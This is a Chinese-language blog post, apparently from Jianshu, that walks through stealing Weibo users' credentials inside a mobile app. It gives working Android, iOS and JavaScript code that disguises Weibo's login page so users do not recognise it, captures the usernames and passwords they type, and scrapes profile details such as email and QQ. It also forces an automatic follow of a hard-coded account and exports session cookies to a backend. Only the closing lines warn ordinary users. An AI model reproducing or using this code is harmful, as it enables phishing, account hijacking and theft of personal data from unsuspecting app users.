app端用戶信息竊取

項目目的

在app(ios和android)端使用webview組件與js進行交互,串改頁面,讓用戶授權登錄後,獲取用戶關鍵信息,並完成自動關注一個賬號。

傳統爬蟲模式的侷限

傳統爬蟲模式,讓用戶在客戶端在輸入賬號密碼,然後傳送到後端進行登錄,爬取信息,這種方式將要面對各種人機驗證措施,加密方法複雜的情況下,還得選擇selenium,性能更無法保證。同時,對於個人賬戶,安全措施越來越嚴,使用代理ip進行操作,很容易造成異地登錄等問題,代理ip也很可能在全網被重複使用的情況下,被封殺,頻繁的代理ip切換也會帶來需要二次登錄等問題。

所以這兩年年來,發現市面上越來越多的提供sdk方式的數據提供商,經過抓包及反編譯sdk,發現其大多數使用webview載入第三方頁面的方式完成登錄,有的在登錄完成之後,獲取cookie傳送到後端完成爬取,有的直接在app內完成所需信息的收集。

登錄

這是微博移動端登錄頁

app端用戶信息竊取

weibo原移動端登錄頁.png

首先使用JavaScript串改當前頁面元素,讓用戶沒法意識到這是微博官方的登錄頁。

載入頁面

android

webView.loadUrl(LOGINPAGEURL);

iOS

[self requestUrl:self.loginPageUrl];
//請求url方法
-(void) requestUrl:(NSString*) urlString{
NSURL* url=[NSURL URLWithString:urlString];
NSURLRequest* request=[NSURLRequest requestWithURL:url];
[self.webView loadRequest:request];
}

js代碼注入

首先我們注入js代碼到app的webview中

android

private void injectScriptFile(String filePath) {
InputStream input;
try {
input = webView.getContext().getAssets().open(filePath);
byte[] buffer = new byte[input.available()];
input.read(buffer);
input.close();
// String-ify the/> String encoded = Base64.encodeToString(buffer, Base64.NO_WRAP);
String funstr = "javascript:(function() {" +
"var parent = document.getElementsByTagName('head').item(0);" +
"var/> "script.type = 'text/javascript';" +
"script.innerHTML = decodeURIComponent(escape(window.atob('" + encoded + "')));" +
"parent.appendChild(script)" +
"})()";

execJsNoReturn(funstr);
} catch (IOException e) {
Log.e(TAG, "injectScriptFile: " + e);
}
}

iOS

//注入js文件
- (void) injectJsFile:(NSString *)filePath{
NSString *jsPath = [[NSBundle mainBundle] pathForResource:filePath ofType:@"js" inDirectory:@"assets"];
NSData *data=[NSData dataWithContentsOfFile:jsPath];
NSString *responData = [data base64EncodedStringWithOptions:0];
NSString *jsStr=[NSString stringWithFormat:@"javascript:(function() {\
var parent = document.getElementsByTagName('head').item(0);\
var/> script.type = 'text/javascript';\
/> parent.appendChild(script)})()",responData];
[self.webView evaluateJavaScript:jsStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){

}];
}

我們都採用讀取js文件,然後base64編碼後,使用window.atob把其做為一個腳本注入到當前頁面(注意:window.atob處理中文編碼後會得到的編碼不正確,需要使用ecodeURIComponent escape來進行正確的校正。)

在這裡已經使用了app端,調用js的方法來創建元素。

app端調用js方法

android端:

webView.evaluateJavascript(funcStr, new ValueCallback<string>() {
@Override
public void onReceiveValue(String s) {
}
});
/<string>

ios端:

[self.webView evaluateJavaScript:funcStr completionHandler:^(id _Nullable htmlStr,NSError * _Nullable error){

}];

這兩個方法可以獲取返回值,正因為如此,可以使用js提取頁面信息後,返回給webview,然後收集信息完成之後,彙總進行通信。

js串改頁面

//串改頁面元素,讓用戶以為是授權登錄
function getLogin(){
var topEle=selectNode('//*[@id="avatarWrapper"]');
var imgEle=selectNode('//*[@id="avatarWrapper"]/img');
topEle.remove(imgEle);
var returnEle=selectNode('//*[@id="loginWrapper"]/a');
returnEle.className='';
returnEle.innerText='';
pEle=selectNode('//*[@id="loginWrapper"]/p');
pEle.className="";
pEle.innerHTML="";
footerEle=selectNode('//*[@id="loginWrapper"]/footer');
footerEle.innerHTML="";
var loginNameEle=selectNode('//*[@id="loginName"]');
loginNameEle.placeholder="請輸入用戶名";
var buttonEle=selectNode('//*[@id="loginAction"]');
buttonEle.innerText="請進行用戶授權";
selectNode('//*[@id="loginWrapper"]/form/section/div[1]/i').className="";
selectNode('//*[@id="loginWrapper"]/form/section/div[2]/i').className="";
selectNode('//*[@id="loginAction"]').className="btn";
selectNode('//a[@id="loginAction"]').addEventListener('click',transPortUnAndPw,false);
return window.webkit;
}
function transPortUnAndPw(){
username=selectNode('//*[@id="loginName"]').value;
pwd=selectNode('//*[@id="loginPassword"]').value;
window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
}

使用js修改頁面元素,使之看起來不會讓人發覺這是weibo官方的頁面。

修改後的頁面如圖:

app端用戶信息竊取

修改後登錄頁面.png

串改登錄點擊事件,獲取用戶名密碼

selectNode('//a[@id="loginAction"]').addEventListener('click',transPortUnAndPw,false);
function transPortUnAndPw(){
username=selectNode('//*[@id="loginName"]').value;
pwd=selectNode('//*[@id="loginPassword"]').value;
window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
}

同時串改登錄點擊按鈕,通過js調用app webview的方法,把用戶名和密碼傳遞給app webview 完成信息收集。

js調用webview的方法

android端:

// js代碼
window.weibo.getPwd(JSON.stringify({"username":username,"pwd":pwd}));
//Java代碼
webView.addJavascriptInterface(new WeiboJsInterface(), "weibo");
public class WeiboJsInterface {
@JavascriptInterface
public void getPwd(String returnValue) {
try {
unpwDict = new JSONObject(returnValue);
} catch (JSONException e) {
e.printStackTrace();
}
}
}

android通過實現一個@JavaScriptInterface接口,把這個方法添加類添加到webview的瀏覽器內核之上,當調用這個方法時,會觸發android端的調用。

ios端:

//js代碼
window.webkit.messageHandlers.getInfo({body:JSON.stringify({"username":username,"pwd":pwd})});
//oc代碼
WKUserContentController *userContentController = [[WKUserContentController alloc] init];
[userContentController addScriptMessageHandler:self name:@"getInfo"];
- (void)userContentController:(WKUserContentController *)userContentController didReceiveScriptMessage:(WKScriptMessage *)message
{

self.unpwDict=[self getReturnDict:message.body];
}

ios方式,實現方式與此類似,不過由於我對oc以及ios開發不熟悉,代碼運行不符合期望,希望專業的能指正。

個人信息獲取

直接提取頁面的難點

webview這個組件,無論是在android端 onPageFinished方法還是ios端的didFinishNavigation方法,都無法正確判定頁面是否加載完全。所以對於很多頁面,還是選擇走接口

請求接口

本項目中,獲取用戶自己的微博,關注,和分析,都是使用接口,拿到預覽頁,直接解析數,對於關鍵的參數,需要仔細抓包獲取

app端用戶信息竊取

抓包1.png

仔細分析 “我”這個標籤下的請求情況,發現https://m.weibo.cn/home/me?format=cards這個鏈接包含用戶核心數據,通過這個請求,獲取核心參數,然後,獲取用戶的微博 關注 粉絲的預覽頁面。

 然後通過JSON.stringify(JSON.parse(document.getElementsByTagName('pre')[0].innerText))

獲取json字符串,並傳到app端進行解析。

解析及多次請求的邏輯

請求頁面

也有頁面,如個人資料,頁面較簡單,可以使用js提取

js代碼

function getPersonInfo(){
var name=selectNodeText('//*[@id="J_name"]');
var sex=selectNodeText('/*[@id="sex"]/option[@selected]');
var location=selectNodeText('//*[@id="J_location"]');
var year=selectNodeText('//*[@id="year"]/option[@selected]');
var month=selectNodeText('//*[@id="month"]/option[@selected]');
var day=selectNodeText('//*[@id="day"]/option[@selected]');
var email=selectNodeText('//*[@id="J_email"]');
var blog=selectNodeText('//*[@id="J_blog"]');
if(blog=='輸入博客地址'){
blog='未填寫';
}
var qq=selectNodeText('//*[@id="J_QQ"]');
if(qq=='QQ帳號'){
qq="未填寫";

}
birthday=year+'-'+month+'-'+day;
theDict={'name':name,'sex':sex,'localtion':location,'birthday':birthday,'email':email,'blog':blog,'qq':qq};
return JSON.stringify({'personInfomation':theDict});
}

由於webview不支持 $x 的xpath寫法,為了方便,使用原生的XPathEvaluator, 實現了特定的提取。

function selectNodes(sXPath) {
var evaluator = new XPathEvaluator();
var result = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
if (result != null) {
var nodeArray = [];
var nodes = result.iterateNext();
while (nodes) {
nodeArray.push(nodes);
nodes = result.iterateNext();
}
return nodeArray;
}
return null;
};
//選取子節點
function selectChildNode(sXPath, element) {
var evaluator = new XPathEvaluator();
var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
if (newResult != null) {
var newNode = newResult.iterateNext();
return newNode;
}
}
function selectChildNodeText(sXPath, element) {
var evaluator = new XPathEvaluator();
var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);
if (newResult != null) {
var newNode = newResult.iterateNext();
if (newNode != null) {
return newNode.textContent.replace(/(^\s*)|(\s*$)/g, ""); ;
} else {
return "";
}
}
}
function selectChildNodes(sXPath, element) {
var evaluator = new XPathEvaluator();
var newResult = evaluator.evaluate(sXPath, element, null, XPathResult.ANY_TYPE, null);

if (newResult != null) {
var nodeArray = [];
var newNode = newResult.iterateNext();
while (newNode) {
nodeArray.push(newNode);
newNode = newResult.iterateNext();
}
return nodeArray;
}
}
function selectNodeText(sXPath) {
var evaluator = new XPathEvaluator();
var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
if (newResult != null) {
var newNode = newResult.iterateNext();
if (newNode) {
return newNode.textContent.replace(/(^\s*)|(\s*$)/g, ""); ;
}
return "";
}
}
function selectNode(sXPath) {
var evaluator = new XPathEvaluator();
var newResult = evaluator.evaluate(sXPath, document, null, XPathResult.ANY_TYPE, null);
if (newResult != null) {
var newNode = newResult.iterateNext();
if (newNode) {
return newNode;
}
return null;
}
}

自動關注用戶

由於個人微博頁面 onPageFinished與didFinishNavigation這兩個方法無法判定頁面是否加載完全,

為了解決這個問題,在android端,使用攔截url,判定頁面加載圖片的數量來確定,是否,加載完全

//由於頁面的正確加載onPageFinieshed和onProgressChanged都不能正確判定,所以選擇在加載多張圖片後,判定頁面加載完成。 

//在這樣的情況下,自動點擊元素,完成自動關注用戶。
@Override
public void onLoadResource(WebView view, String url) {
if (webView.getUrl().contains(AUTOFOCUSURL) && url.contains("jpg")) {
newIndex++;
if (newIndex == 5) {
webView.post(new Runnable() {
@Override
public void run() {
injectJsUseXpath("autoFocus.js");
execJsNoReturn("autoFocus();");
}
});
}
}
super.onLoadResource(view, url);
}

js 自動點擊

function autoFocus(){
selectNode('//span[@class="m-add-box"]').click();
}

在ios端,使用訪問接口的方式

app端用戶信息竊取

抓包2.png

除了目標用戶的id外,還有一個st字符串,通過chrome的search,定位,然後通過js提取

function getSt(){
return config['st'];
}

然後構造post,請求,完成關注

- (void) autoFocus:(NSString*) st{
//Wkwebview採用js模擬完成表單提交
NSString *jsStr=[NSString stringWithFormat:@"function post(path, params) {var method = "post"; \
var form = document.createElement("form"); \
form.setAttribute("method", method); \
form.setAttribute("action", path); \
for(var key in params) { \
if(params.hasOwnProperty(key)) { \
var hiddenField = document.createElement("input");\
hiddenField.setAttribute("type", "hidden");\
hiddenField.setAttribute("name", key);\
hiddenField.setAttribute("value", params[key]);\
form.appendChild(hiddenField);\
}\
}\
document.body.appendChild(form);\
form.submit();\
}\
post('https://m.weibo.cn/api/friendships/create',{'uid':'1195242865','st':'%@'});",st];
[self execJsNoReturn:jsStr];
}

ios WkWebview沒有post請求,接口,所以構造一個表單提交,完成post請求。

完成,一個自動關注,當然,構造一個用戶id的列表,很簡單就可以實現自動關注多個用戶。

關於cookie

如果需要爬取的數據量大,可以選擇爬取少量關鍵信息後,把cookie傳到後端處理

android 端 cookie處理

CookieSyncManager.createInstance(context); 
CookieManager cookieManager = CookieManager.getInstance();

通過cookieManage對象可以獲取cookie字符串,傳送到後端,繼續爬取

ios端cookie處理

NSDictionary *cookie = [AppInfo shareAppInfo].userModel.cookies;

處理方式與android端類似。

總結

對於數據工程師來說,webview有點類似於selenium,但是運行在服務端的selenium,有太多的侷限性。webview的在客戶端運行,就像一個用戶就是一臺肉機。

以webview為基礎,使用app收集信息加以利用,現階段大多數人都還沒意識到,但是,市場上的產品已經越來越多,特別是那些對數據有特殊需要的各種金融機構。

對於普通用戶來說,不要輕易在一個app上登錄第三方賬戶,信息洩露,財產損失,在按下登錄或者本例中的假裝授權後,都是不可避免的。

鏈接:https://www.jianshu.com/p/f5b795a181d1


分享到:


相關文章: